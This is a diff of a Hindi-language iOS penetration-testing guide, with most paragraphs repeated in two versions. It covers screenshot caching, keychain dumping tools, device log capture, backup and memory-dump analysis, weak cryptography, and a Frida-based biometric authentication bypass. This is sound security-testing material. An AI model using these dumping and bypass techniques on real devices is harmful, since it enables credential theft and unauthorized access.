जब भी आप होम बटन दबाते हैं, iOS **वर्तमान स्क्रीन का एक स्नैपशॉट लेता है** ताकि एप्लिकेशन में संक्रमण को बहुत सुचारू तरीके से किया जा सके। हालाँकि, यदि वर्तमान स्क्रीन में **संवेदनशील** **डेटा** मौजूद है, तो यह **छवि** में **सहेजा** जाएगा (जो **रीबूट** के दौरान **बनाए रखता** है)। ये स्नैपशॉट हैं जिन तक आप ऐप्स के बीच स्विच करने के लिए होम स्क्रीन पर डबल टैप करके भी पहुँच सकते हैं।
जब तक iPhone जेलब्रोक नहीं है, **हमलावर** को इन स्क्रीनशॉट्स को देखने के लिए **डिवाइस** **अनब्लॉक** **करने** की **आवश्यकता** है। डिफ़ॉल्ट रूप से अंतिम स्नैपशॉट ऐप के सैंडबॉक्स में `Library/Caches/Snapshots/` या `Library/SplashBoard/Snapshots` फ़ोल्डर में स्टोर किया जाता है (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुँच नहीं सकते)।
जब तक iPhone जेलब्रोक नहीं है, **हमलावर** को इन स्क्रीनशॉट्स को देखने के लिए **डिवाइस** **अनब्लॉक** करने की **एक्सेस** होनी चाहिए। डिफ़ॉल्ट रूप से अंतिम स्नैपशॉट ऐप के सैंडबॉक्स में `Library/Caches/Snapshots/` या `Library/SplashBoard/Snapshots` फ़ोल्डर में स्टोर किया जाता है (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुँच नहीं सकते)।
इस बुरे व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके।
इस खराब व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें, `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके।
नीचे एक नमूना सुधार विधि है जो एक डिफ़ॉल्ट स्क्रीनशॉट सेट करेगी।
@ -570,11 +570,11 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
### Keychain
iOS की कीचेन तक पहुँचने और प्रबंधित करने के लिए, [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन डिवाइस के लिए उपयुक्त हैं। इसके अतिरिक्त, [**Objection**](https://github.com/sensepost/objection) समान उद्देश्यों के लिए `ios keychain dump` कमांड प्रदान करता है।
iOS की कीचेन तक पहुँचने और प्रबंधित करने के लिए, [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन उपकरणों के लिए उपयुक्त हैं। इसके अतिरिक्त, [**Objection**](https://github.com/sensepost/objection) समान उद्देश्यों के लिए `ios keychain dump` कमांड प्रदान करता है।
#### **Credentials को स्टोर करना**
**NSURLCredential** क्लास संवेदनशील जानकारी को सीधे कीचेन में सहेजने के लिए आदर्श है, NSUserDefaults या अन्य रैपर की आवश्यकता को बायपास करते हुए। लॉगिन के बाद क्रेडेंशियल्स को स्टोर करने के लिए, निम्नलिखित स्विफ्ट कोड का उपयोग किया जाता है:
**NSURLCredential** क्लास संवेदनशील जानकारी को सीधे कीचेन में सहेजने के लिए आदर्श है, NSUserDefaults या अन्य रैपर की आवश्यकता को बायपास करते हुए। लॉगिन के बाद क्रेडेंशियल्स को स्टोर करने के लिए, निम्नलिखित Swift कोड का उपयोग किया जाता है:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -584,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
## **कस्टम कीबोर्ड और कीबोर्ड कैश**
iOS 8.0 से आगे, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम उठाते हैं, हालांकि उपयोगकर्ताओं को नेटवर्क एक्सेस की आवश्यकता वाले कीबोर्ड के बारे में सूचित किया जाता है। ऐप्स को संवेदनशील जानकारी के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए।
iOS 8.0 से आगे, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम पैदा करते हैं, हालांकि उपयोगकर्ताओं को न कीबोर्ड के बारे में सूचित किया जाता है जिन्हें नेटवर्क एक्सेस की आवश्यकता होती है। ऐप्स को संवेदनशील जानकारी के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए।
**सुरक्षा सिफारिशें:**
@ -604,19 +604,19 @@ textObject.secureTextEntry = YES;
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **लॉग्स**
## **Logs**
कोड को डिबग करने में अक्सर **लॉगिंग** का उपयोग किया जाता है। इसमें एक जोखिम होता है क्योंकि **लॉग्स में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और इससे पहले के संस्करणों में, लॉग सभी ऐप्स के लिए सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, ऐप्स को केवल अपने लॉग्स तक पहुंचने की अनुमति है**।
कोड को डिबग करना अक्सर **लॉगिंग** के उपयोग को शामिल करता है। इसमें एक जोखिम होता है क्योंकि **लॉग में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और इससे पहले के संस्करणों में, सभी ऐप्स के लिए लॉग्स सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, एप्लिकेशन केवल अपने लॉग्स तक पहुँचने के लिए प्रतिबंधित हैं**।
इन प्रतिबंधों के बावजूद, एक **हमलावर जिसे अनलॉक किए गए डिवाइस तक भौतिक पहुच है**, इसे एक कंप्यूटर से कनेक्ट करके और **लॉग्स को पढ़कर** भुनाने में सक्षम हो सकता है। यह ध्यान रखना महत्वपूर्ण है कि ऐप के अनइंस्टॉलेशन के बाद भी लॉग डिस्क पर बने रहते हैं।
इन प्रतिबंधों के बावजूद, **एक हमलावर जिसे अनलॉक किए गए डिवाइस तक भौतिक पहुच है**, इसे एक कंप्यूटर से कनेक्ट करके और **लॉग्स को पढ़कर** भुनाने में सक्षम हो सकता है। यह ध्यान रखना महत्वपूर्ण है कि लॉग ऐप के अनइंस्टॉलेशन के बाद भी डिस्क पर बने रहते हैं।
जोखिमों को कम करने के लिए, सलाह दी जाती है कि **ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं की जा रही है।
जोखिमों को कम करने के लिए, यह सलाह दी जाती है कि **ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं हो रही है।
ऐप के स्रोत कोड की समीक्षा करते समय संभावित लीक के लिए, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` जैसे कीवर्ड का उपयोग करते हुए **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** की तलाश करें, और कस्टम कार्यान्वयन के लिए `Logging` या `Logfile` का कोई उल्लेख करें
जब ऐप के स्रोत कोड की समीक्षा करते हैं संभावित लीक के लिए, तो **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** की तलाश करें, जैसे कि `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` के लिए अंतर्निहित कार्यों के लिए, और किसी भी उल्लेख के लिए `Logging` या `Logfile` कस्टम कार्यान्वयन के लिए
### **सिस्टम लॉग्स की निगरानी**
### **Monitoring System Logs**
ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती है। इन लॉग्स की निगरानी के लिए, उपकरण और कमांड जैसे:
ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती है। इन लॉग्स की निगरानी करने के लिए, उपकरण और कमांड जैसे:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -630,19 +630,19 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
5. उस समस्या को ट्रिगर करें जिसे आप जांच रहे हैं।
6. नए विंडो में लॉग देखने के लिए **Open Console** बटन का उपयोग करें।
अधिक उन्नत लॉगिंग के लिए, डिवाइस शेल से कनेक्ट करना और **socat** का उपयोग करना वास्तविक समय में लॉग मॉनिटरिंग प्रदान कर सकता है:
अधिक उन्नत लॉगिंग के लिए, डिवाइस शेल से कनेक्ट करना और **socat** का उपयोग करना वास्तविक समय में लॉग निगरानी प्रदान कर सकता है:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
लॉग गतिविधियों को देखने के लिए कमांड का पालन किया गया, जो समस्याओं का निदान करने या लॉग में संभावित डेटा लीक की पहचान करने के लिए अमूल्य हो सकता है
लॉग गतिविधियों को देखने के लिए आदेशों के बाद, जो समस्याओं का निदान करने या लॉग में संभावित डेटा लीक की पहचान करने के लिए अमूल्य हो सकते हैं
## बैकअप
**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina के बाद) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण की सुविधा प्रदान करती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, अत्यधिक संवेदनशील तत्वों जैसे Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन को छोड़कर
**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina से आगे) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण को सुविधाजनक बनाती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, जिसमें Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन जैसे अत्यधिक संवेदनशील तत्व शामिल नहीं हैं
### सुरक्षा जोखिम
**इंस्टॉल किए गए ऐप्स और उनके डेटा** का बैकअप में शामिल होना संभावित **डेटा लीक** और **बैकअप संशोधनों के कारण ऐप कार्यक्षमता में परिवर्तन** का जोखिम उठाता है। इन जोखिमों को कम करने के लिए सलाह दी जाती है कि **किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में संवेदनशील जानकारी को स्पष्ट पाठ में न रखें**।
**इंस्टॉल किए गए ऐप्स और उनके डेटा** का बैकअप में शामिल होना संभावित **डेटा लीक** और **बैकअप संशोधनों के कारण ऐप कार्यक्षमता में परिवर्तन** का जोखिम उठाता है। इन जोखिमों को कम करने के लिए सलाह दी जाती है कि **किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में संवेदनशील जानकारी को प्लेनटेक्स्ट में न रखें**।
### बैकअप से फ़ाइलें बाहर करना
@ -650,7 +650,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### कमजोरियों के लिए परीक्षण
किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **एक बैकअप बनाएं** Finder का उपयोग करके, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है।
किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **एक बैकअप बनाएं** जो Finder का उपयोग करके किया गया हो, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है।
संवेदनशील जानकारी को कमांड-लाइन उपकरणों या [iMazing](https://imazing.com) जैसे अनुप्रयोगों का उपयोग करके खोजा जा सकता है। एन्क्रिप्टेड बैकअप के लिए, एन्क्रिप्शन की उपस्थिति की पुष्टि "Manifest.plist" फ़ाइल में "IsEncrypted" कुंजी की जांच करके की जा सकती है जो बैकअप की जड़ में होती है।
```xml
@ -665,7 +665,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
एन्क्रिप्टेड बैकअप से निपटने के लिए, [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) में उपलब्ध Python स्क्रिप्ट, जैसे **backup_tool.py** और **backup_passwd.py**, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करणों के साथ संगतता के लिए समायोजन की आवश्यकता हो सकती है। [**iOSbackup** टूल](https://pypi.org/project/iOSbackup/) पासवर्ड-संरक्षित बैकअप के भीतर फ़ाइलों तक पहुँचने के लिए एक और विकल्प है।
एन्क्रिप्टेड बैकअप के साथ निपटने के लिए, [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) में उपलब्ध Python स्क्रिप्ट, जैसे **backup_tool.py** और **backup_passwd.py**, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करणों के साथ संगतता के लिए समायोजन की आवश्यकता हो सकती है। [**iOSbackup** टूल](https://pypi.org/project/iOSbackup/) पासवर्ड-संरक्षित बैकअप के भीतर फ़ाइलों तक पहुँचने के लिए एक और विकल्प है।
### ऐप व्यवहार को संशोधित करना
@ -673,11 +673,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
## संवेदनशील डेटा के लिए मेमोरी परीक्षण पर सारांश
जब किसी एप्लिकेशन की मेमोरी में संग्रहीत संवेदनशील जानकारी से निपटते हैं, तो इस डेटा के एक्सपोजर समय को सीमित करना महत्वपूर्ण है। मेमोरी सामग्री की जांच करने के लिए दो प्रमुख दृष्टिकोण हैं: **मेमोरी डंप बनाना** और **वास्तविक समय में मेमोरी का विश्लेषण करना**। दोनों विधियों में उनकी चुनौतियाँ होती हैं, जिसमें डंप प्रक्रिया या विश्लेषण के दौरान महत्वपूर्ण डेटा को चूकने की संभावना शामिल है।
जब किसी एप्लिकेशन की मेमोरी में संग्रहीत संवेदनशील जानकारी से निपटते हैं, तो इस डेटा के एक्सपोजर समय को सीमित करना महत्वपूर्ण है। मेमोरी सामग्री की जांच करने के लिए दो प्रमुख दृष्टिकोण हैं: **मेमोरी डंप बनाना** और **वास्तविक समय में मेमोरी का विश्लेषण करना**। दोनों विधियों में चुनौतियाँ होती हैं, जिसमें डंप प्रक्रिया या विश्लेषण के दौरान महत्वपूर्ण डेटा को चूकने की संभावना शामिल है।
## **मेमोरी डंप को पुनः प्राप्त करना और विश्लेषण करना**
जेलब्रोकन और नॉन-जेलब्रोकन दोनों उपकरणों के लिए, [objection](https://github.com/sensepost/objection) और [Fridump](https://github.com/Nightbringer21/fridump) जैसे टूल एक ऐप की प्रक्रिया की मेमोरी को डंप करने की अनुमति देते हैं। एक बार डंप होने के बाद, इस डेटा का विश्लेषण करने के लिए विभिन्न टूल की आवश्यकता होती है, जो आप जिस जानकारी की खोज कर रहे हैं, उसकी प्रकृति पर निर्भर करता है
जेलब्रोकन और नॉन-जेलब्रोकन दोनों उपकरणों के लिए, [objection](https://github.com/sensepost/objection) और [Fridump](https://github.com/Nightbringer21/fridump) जैसे टूल एक ऐप की प्रक्रिया मेमोरी का डंप लेने की अनुमति देते हैं। एक बार डंप होने के बाद, इस डेटा का विश्लेषण करने के लिए विभिन्न टूल की आवश्यकता होती है, जो इस बात पर निर्भर करता है कि आप किस प्रकार की जानकारी की खोज कर रहे हैं।
मेमोरी डंप से स्ट्रिंग्स निकालने के लिए, `strings` या `rabin2 -zz` जैसे कमांड का उपयोग किया जा सकता है:
```bash
@ -700,56 +700,56 @@ $ r2 <name_of_your_dump_file>
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## टूटी हुई क्रिप्टोग्राफी
## Broken Cryptography
### खराब कुंजी प्रबंधन प्रक्रियाएँ
### Poor Key Management Processes
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय संग्रहण में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
### असुरक्षित और/या अप्रचलित एल्गोरिदम का उपयोग
### Use of Insecure and/or Deprecated Algorithms
डेवलपर्स को **अप्रचलित एल्गोरिदम** का उपयोग करके प्राधिकरण **जांच** करने, **सहेजने** या **भेजने** के लिए नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **हैश** का उपयोग पासवर्ड को सहेजने के लिए किया जाता है, तो हैश ब्रूट-फोर्स **प्रतिरोधी** होना चाहिए और नमक के साथ होना चाहिए।
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, हैश ब्रूट-फोर्स **resistant** होना चाहिए और इसमें salt होना चाहिए।
### जांच
### Check
मुख्य जांच करने के लिए यह है कि क्या आप कोड में **हार्डकोडेड** पासवर्ड/गुप्त जानकारी पा सकते हैं, या क्या वे **पूर्वानुमानित** हैं, और क्या कोड किसी प्रकार के **कमजोर** **क्रिप्टोग्राफी** एल्गोरिदम का उपयोग कर रहा है।
मुख्य जांच करने के लिए यह है कि क्या आप कोड में **hardcoded** पासवर्ड/गुप्त जानकारी पा सकते हैं, या क्या वे **predictable** हैं, और क्या कोड कुछ प्रकार के **weak** **cryptography** एल्गोरिदम का उपयोग कर रहा है।
यह जानना दिलचस्प है कि आप **ऑब्जेक्शन** का उपयोग करके कुछ **क्रिप्टो** **लाइब्रेरीज़** को स्वचालित रूप से **निगरानी** कर सकते हैं:
यह जानना दिलचस्प है कि आप **objection** का उपयोग करके कुछ **crypto** **libraries** को स्वचालित रूप से **monitor** कर सकते हैं:
```swift
ios monitor crypt
```
अधिक जानकारी के लिए iOS क्रिप्टोग्राफिक APIs और पुस्तकालयों के बारे में [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) पर जाएं।
For **more information** about iOS cryptographic APIs and libraries access [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## स्थानीय प्रमाणीकरण
## Local Authentication
**स्थानीय प्रमाणीकरण** एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ अंत बिंदु पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा की बात आती है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है।
**स्थानीय प्रमाणीकरण** एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ एंडपॉइंट पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा की बात आती है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है।
Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और गुप्त डेटा को सुरक्षित रूप से संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए।
Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और क्रमशः गुप्त डेटा को सुरक्षित रूप से संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए।
Touch ID/Face ID को एकीकृत करने के लिए, डेवलपर्स के पास दो API विकल्प हैं:
- **`LocalAuthentication.framework`** उच्च-स्तरीय उपयोगकर्ता प्रमाणीकरण के लिए बिना जैविक डेटा तक पहुंच के।
- **`Security.framework`** निम्न-स्तरीय कीचेन सेवाओं क पहुंच के लिए, जैविक प्रमाणीकरण के साथ गुप्त डेटा को सुरक्षित करना। विभिन्न [ओपन-सोर्स रैपर](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) कीचेन पहुंच को सरल बनाते हैं।
- **`LocalAuthentication.framework`** उच्च-स्तरीय उपयोगकर्ता प्रमाणीकरण के लिए, जैविक डेटा तक पहुंच के बिना
- **`Security.framework`** निम्न-स्तरीय कीचेन सेवाओं क पहुंच के लिए, जैविक प्रमाणीकरण के साथ गुप्त डेटा को सुरक्षित करता है। विभिन्न [ओपन-सोर्स रैपर](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) कीचेन तक पहुंच को सरल बनाते हैं।
> [!CAUTION]
> हालाँकि, दोनों `LocalAuthentication.framework` और `Security.framework` कमजोरियों को प्रस्तुत करते हैं, क्योंकि वे मुख्य रूप से प्रमाणीकरण प्रक्रियाओं के लिए डेटा को संचारित किए बिना बूलियन मान लौटाते हैं, जिससे उन्हें दरकिनार करने के लिए संवेदनशील बनाते हैं (देखें [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))।
> हालाँकि, दोनों `LocalAuthentication.framework` और `Security.framework` कमजोरियों को प्रस्तुत करते हैं, क्योंकि वे मुख्य रूप से बूलियन मान लौटाते हैं बिना प्रमाणीकरण प्रक्रियाओं के लिए डेटा भेजे, जिससे उन्हें दरकिनार करने के लिए संवेदनशील बनाते हैं (देखें [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))।
### स्थानीय प्रमाणीकरण को लागू करना
### Implementing Local Authentication
उपयोगकर्ताओं से प्रमाणीकरण के लिए प्रेरित करने के लिए, डेवलपर्स को **`LAContext`** वर्ग के भीतर **`evaluatePolicy`** विधि का उपयोग करना चाहिए, निम्नलिखित में से चुनते हुए:
- **`deviceOwnerAuthentication`**: Touch ID या डिवाइस पासकोड के लिए प्रेरित करता है, यदि कोई भी सक्षम नहीं है तो विफल होता है।
- **`deviceOwnerAuthenticationWithBiometrics`**: विशेष रूप से Touch ID के लिए प्रेरित करता है।
सफल प्रमाणीकरण **`evaluatePolicy`** से बूलियन लौटाने वाले मान द्वारा संकेतित होता है, जो एक संभावित सुरक्षा दोष को उजागर करता है।
एक सफल प्रमाणीकरण **`evaluatePolicy`** से बूलियन लौटाने वाले मान द्वारा संकेतित होता है, जो एक संभावित सुरक्षा दोष को उजागर करता है।
### कीचेन का उपयोग करके स्थानीय प्रमाणीकरण
### Local Authentication using Keychain
iOS ऐप्स में **स्थानीय प्रमाणीकरण** को लागू करने में **कीचेन APIs** का उपयोग करना शामिल है ताकि प्रमाणीकरण टोकन जैसे गुप्त डेटा को सुरक्षित रूप से संग्रहीत किया जा सके। यह प्रक्रिया सुनिश्चित करती है कि डेटा केवल उपयोगकर्ता द्वारा, उनके डिवाइस पासकोड या जैविक प्रमाणीकरण जैसे Touch ID का उपयोग करके ही एक्सेस किया जा सके।
कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता के सफल प्रमाणीकरण तक आइटम तक पहुंच को प्रतिबंधित करता है। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है।
कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता के सफल प्रमाणीकरण तक आइटम तक पहुंच को प्रतिबंधित करता है Touch ID या डिवाइस पासकोड के माध्यम से। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है।
नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे कीचेन में एक स्ट्रिंग को सुरक्षित रूप से सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से दिखाते हैं कि कैसे एक्सेस नियंत्रण स्थापित किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।
नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कीचेन में एक स्ट्रिंग को कैसे सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से दिखाते हैं कि कैसे एक्सेस नियंत्रण सेटअप किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।
{{#tabs}}
{{#tab name="Swift"}}
@ -822,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
अब हम कीचेन से सहेजे गए आइटम को अनुरोध कर सकते हैं। कीचेन सेवाएँ उपयोगकर्ता को प्रमाणीकरण संवाद प्रस्तुत करेंगी और उपयुक्त फिंगरप्रिंट प्रदान किया गया या नहीं, इसके आधार पर डेटा या nil लौटाएँगी।
अब हम कीचेन से सहेजे गए आइटम को अनुरोध कर सकते हैं। कीचेन सेवाएँ उपयोगकर्ता को प्रमाणीकरण संवाद प्रस्तुत करेंगी और यह निर्भर करेगा कि उपयुक्त फिंगरप्रिंट प्रदान किया गया था या नहीं, डेटा या nil लौटाएंगी।
{{#tabs}}
{{#tab name="Swift"}}
@ -887,11 +887,11 @@ $ otool -L <AppName>.app/<AppName>
```
यदि `Security.framework` का उपयोग किया गया है, तो केवल दूसरा ही दिखाया जाएगा।
### स्थानीय प्रमाणीकरण ढांचे को बायपास करना
### स्थानीय प्रमाणीकरण ढांचे का बायपास
#### **Objection**
**Objection Biometrics Bypass** के माध्यम से, जो [इस GitHub पृष्ठ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) पर स्थित है, **LocalAuthentication** तंत्र को पार करने के लिए एक तकनीक उपलब्ध है। इस दृष्टिकोण का मूल उद्देश्य **Frida** का उपयोग करके `evaluatePolicy` फ़ंक्शन में हेरफेर करना है, यह सुनिश्चित करते हुए कि यह लगातार `True` परिणाम देता है, वास्तविक प्रमाणीकरण सफलता की परवाह किए बिना। यह दोषपूर्ण बायोमेट्रिक प्रमाणीकरण प्रक्रियाओं को बायपास करने के लिए विशेष रूप से उपयोगी है।
**Objection Biometrics Bypass** के माध्यम से, जो [इस GitHub पृष्ठ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) पर स्थित है, **LocalAuthentication** तंत्र को पार करने के लिए एक तकनीक उपलब्ध है। इस दृष्टिकोण का मूल उद्देश्य **Frida** का उपयोग करके `evaluatePolicy` फ़ंक्शन में हेरफेर करना है, यह सुनिश्चित करते हुए कि यह लगातार `True` परिणाम देता है, वास्तविक प्रमाणीकरण सफलता की परवाह किए बिना। यह दोषपूर्ण बायोमेट्रिक प्रमाणीकरण प्रक्रियाओं को दरकिनार करने के लिए विशेष रूप से उपयोगी है।
इस बायपास को सक्रिय करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:
```bash
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
```
